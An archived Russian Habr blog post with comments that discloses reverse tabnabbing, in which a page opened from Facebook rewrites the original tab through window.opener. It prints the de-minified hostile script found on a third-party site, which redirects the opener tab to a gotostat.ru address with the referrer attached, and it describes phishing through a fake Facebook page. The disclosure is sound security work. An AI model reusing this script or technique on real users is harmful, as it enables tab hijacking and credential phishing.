СоХабр закрыт.

С 13.05.2019 изменения постов больше не отслеживаются, и новые посты не сохраняются.

Уязвимость в браузере: посещая случайную ссылку, убедитесь, что таб с Facebook не поменял URL в черновиках Recovery Mode

image

День начинался как обычно, ничего не предвещало беды… Проверяя свои подписки в Facebook, я открыл очередную ссылочку. После просмотра информации, я вернулся к табу с Facebook'ом и обнаружил, что он редиректнулся на нечто непотребное (http://XXX.gotostat.ru/go.php? куча_параметров). Я напрягся…

Проверил еще раз, но фокус больше не удался. Что-то меня глодало, проверил систему на вирусы, удалил ненужные расширения в Firefox и Chrome, но ничего подозрительного я всё же не нашел. Тогда мне пришла идея в голову почистить куки сайта, ссылку на который я открыл. И о чудо — при переходе на этот сайт из Facebook страница с Facebook опять редиректнулась и опять же на этот подозрительный gotostat.ru. Сначала я обратил внимание на то, что пост, с которого я переходил, имел пометку «sponsored», и, возможно, это Facebook так зарабатывает. Но с другой стороны было очевидно, что редиректом управляет тот самый сторонний сайт, где я удалил куки. Покопавшись в исходниках, я нашел проблему. Уж не знаю, то ли этот сайт так некрасиво зарабатывает, то ли он заражен трояном, но сайт действительно одноразово редиректил Facebook (потенциально не только его).

Раскопав исходники сайта, я нашел вот такой вот скриптик (он был минимизован, так что я его немного привел к нормальному виду):

if (parent.window.opener) {
    rt1846 = GetCookie1846('r1846');
    if (rt1846 == null) {
        rref1846 = document.referrer;
        rref1846 = unescape(rref1846);
        var ExpDate = new Date();
        ExpDate.setTime(ExpDate.getTime() + (12 * 60 * 60 * 1000));
        SetCookie1846('r1846', '1', ExpDate, "/");
        parent.window.opener.location = "http://" + Math.floor((Math.random() * 100000) + 1) + ".gotostat.ru/go.php?id=19154&adult=1&rref=" + rref1846;
    }
}

function GetCookie1846Val(offset) {
    var endstr = document.cookie.indexOf(";", offset);
    if (endstr == -1) endstr = document.cookie.length;
    return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie1846(name) {
    var arg = name + "=";
    var alen = arg.length;
    var clen = document.cookie.length;
    var i = 0;
    while (i < clen) {
        var j = i + alen;
        if (document.cookie.substring(i, j) == arg) return GetCookie1846Val(j);
        i = document.cookie.indexOf(" ", i) + 1;
        if (i == 0) break;
    }
    return null;
}

function SetCookie1846(name, value) {
    var argv = SetCookie1846.arguments;
    var argc = SetCookie1846.arguments.length;
    var expires = (argc > 2) ? argv[2] : null;
    var path = (argc > 3) ? argv[3] : null;
    var domain = (argc > 4) ? argv[4] : null;
    var secure = (argc > 5) ? argv[5] : false;
    document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}


Как видим, скрипт проверяет наличие parent.window.opener, а также отсутствие куки с именем r1846. Если эти условия выполняются, то следует проставление куки и редирект на упомянутый уже мной сайт. Происходит это, очевидно, потому, что Фейсбук открывает внешние ссылки, используя window.open() (любителям VK переживать не стоит — там такой проблемы нет. UPD: пользователь zodiac сообщил, что и в VK такая проблема частично присутствует, воспроизвел в Chrome по клику средней кнопки).. Выяснилось (спасибо пользователю esc за дискуссию), что parent.window.opener устанавливается не только по window.open(), но и когда ссылка имеет атрибут target="_blank". В таком случае проблема даже не в Facebook, а в поведении браузеров, что еще хуже.

И всё бы это было не так страшно (ведь в конце-концов можно точно также и сам сайт редиректнуть), но ведь люди, стоящие на темной стороне, могут создать фейковую страницу Фейсбук, и таким образом подловить ничего не подозревающего пользователя, который уверен, что после просмотра какой-нибудь «забавной картинки» возвращается обратно в закладку с Facebook'ом. Там его может поджидать, например, страница, где его попросят повторно авторизоваться или что-то в этом духе.

Перед тем, как написать этот пост, я написал репорт о проблеме с безопасностью в Facebook, но в течение 3-х часов они не удосужились даже перейти по предоставленным им ссылкам. Надеюсь, пост на Хабре ускорит устранение этой проблемы.

image

P.S. Я не считаю себя великим специалистом по JS, но мне лично непонятно, почему parent.window.opener.location является доступным на запись. Проверено в Chrome и Firefox. Есть у кого какие идеи? Это в явном виде разрешает спецификация или это баг в движках?
P..P.S. Желающие по-быстрому проверить, могут использовать данную ссылочку: 5x5.cz/facebook/proof.html (её надо запостить в Facebook и перейти по ней из Фейсбука — кликать по ссылке левой кнопкой!).

UPD1:
Информация от пользователя Flying по поводу данного поведения браузера:
Поверхностный поиск в bug tracker'е Mozilla показывает что об этом известно уже лет 10 и это поведение считается нормальным. Последний комментарий в этом же баге содержит информацию о том как избавиться от этого поведения в отдельно взятом браузере, уверен что и соответствующие расширения тоже есть.

комментарии (20)

0
zodiac ,   * (был изменён)
На винде в опере работает, в хроме работает только если тыкнуть средней кнопкой (проверял в контакте). В линуксе на Firefox не работает.
+1
tendium ,  
Я проверял в последних виндовых Chrome и Firefox. Проверял в Facebook (работало) и в VK (не работало). В VK по идее и не должно работать, так как там обычная прямая ссылка (window.open() не используется). Странно, что у вас там сработало. Может средняя кнопка как-то хитро обрабатывается с помощью расширения?
0
zodiac ,  
Расширений на хроме не стоит. В вк проверял в диалогах.
+7
+8 –1
tendium ,   * (был изменён)
Я смотрю, уже два человека в негативно отметило пост. Хотелось бы услышать конструктивную критику. Плохо описал проблему? Плохо оформил пост? Не работает пруф? Зря написал, потому что сейчас «весь фейсбук поломают»? Поделитесь, пожалуйста, информацией, почему вы понизили рейтинг поста?
+2
GAS_85 ,  
Надеюсь, пост на Хабре ускорит устранение этой проблемы.

уже два человека в негативно отметило пост

Это фэйсбуковцы ускоряются.
+3
Athari ,  
Вы странно реагируете на минусы к статье. Оценка — это обычно не «хорошо / плохо написано», а «мне интересно / неинтересно». Хорошо это или плохо — вопрос открытый, но такова наша селяви.
–1
agranom555 ,  
Если неинтересно, то не надо заходить и читать. Так что автор правильно вопрос ставит.
+1
Sayonji ,   * (был изменён)
deleted [сказал глупость]
0
esc ,  
Не минусовал, но рекламным сетям, которые подменяют страницу, с которой перешел пользователь (если он открыл текущий сайт в новой вкладке) уже лет наверное 10. В 2007м году их точно было навалом, в том числе и в рунете. Фейсбук поменять или не фейсбук — без разницы. Еще бы написали что бывают попапы, которые по клику на закрывающий крестик, еще одно окно выплевывают;)

Статью я не минусовал, но как по мне, баян жуткий.
0
tendium ,  
Хм… Никогда раньше не сталкивался, чтобы подменяли именно таким способом. То, о чем вы говорите, подразумевало иметь возможность разместить JavaScript-код на странице (т.е. или быть владельцем сайта или использовать уязвимость, заключающуюся в отсутствии фильтрации). А здесь показан метод, как это сделать разместив исключительно ссылку и больше ничего.

Как уязвимость браузера это действительно «баян» (см. коммент от Flying), но лично я впервые увидел подобное в действии на сайте с такой посещаемостью, как у Facebook.
0
esc ,  
На странице. Только сайта, на который осуществляется переход, а не на фейсбуке или другом источнике. Работает для абсолютно любого сайта, даже с такой посещаемостью как у Гугла, даже с https. Ну, возможно, не в любом браузере.

Вы же сами привели код. Вся его суть в parent.window.opener, остальное — проверки кук и прочее, не так важно.
0
tendium ,  
Проверил — вы правы, но в таком случае это уязвимость даже не Facebook, а браузеров (достаточно иметь target="_blank")… Что еще хуже, потому что наивных юзеров можно вводить в заблуждение повсеместно. Не знаю, почему в Mozilla это считают нормой, как по мне так это серьезная проблема.
0
esc ,  
Не многим хуже банального попапа/попандера;) Хотя, применения такой функциональности (белой имеется в виду) мне придумать так и не удалось. Так, что я не знаю, почему считают нормой.
0
tendium ,  
Ну, попап/попандер все-таки не меняет положение исходной страницы. И его можно использовать по-белому… Так или иначе, я несколько поправил статью, чтобы она не винила во всём исключительно Фейсбук. Удалять уже не буду, ведь проблема, я думаю, обозначена все равно правильно.

P.S. Подумалось: при использовании данной уязвимости (или фичи?) target="_blank" теряет всякий смысл.
0
HeadWithoutBrains ,  
Проверил в хроме. Действительно работает.
+1
Flying ,  
Поверхностный поиск в bug tracker'е Mozilla показывает что об этом известно уже лет 10 и это поведение считается нормальным. Последний комментарий в этом же баге содержит информацию о том как избавиться от этого поведения в отдельно взятом браузере, уверен что и соответствующие расширения тоже есть.

Про Chrome не в курсе :)
0
tendium ,  
Спасибо, добавил это в конец поста.
0
isden ,  
> Последний комментарий в этом же баге содержит информацию о том как избавиться от этого поведения в отдельно взятом браузере

А это все еще работает? Там ссылка на Configurable Security Policies, которое лежит в древнем архиве (for historical purposes only).
0
Flying ,  
Думаю нет, но наверняка есть какие-то другие механизмы контроля, та ссылка что я дал — первое (и единственное) что попалось мне в Bugzilla по данному вопросу.

В современных реалиях, думаю, с данной задачей хорошо справляется тот же NoScript.
+2
tezmen ,  
Баг действительно старый, я бы даже сказал очень. На одном только хабре статей 5 было.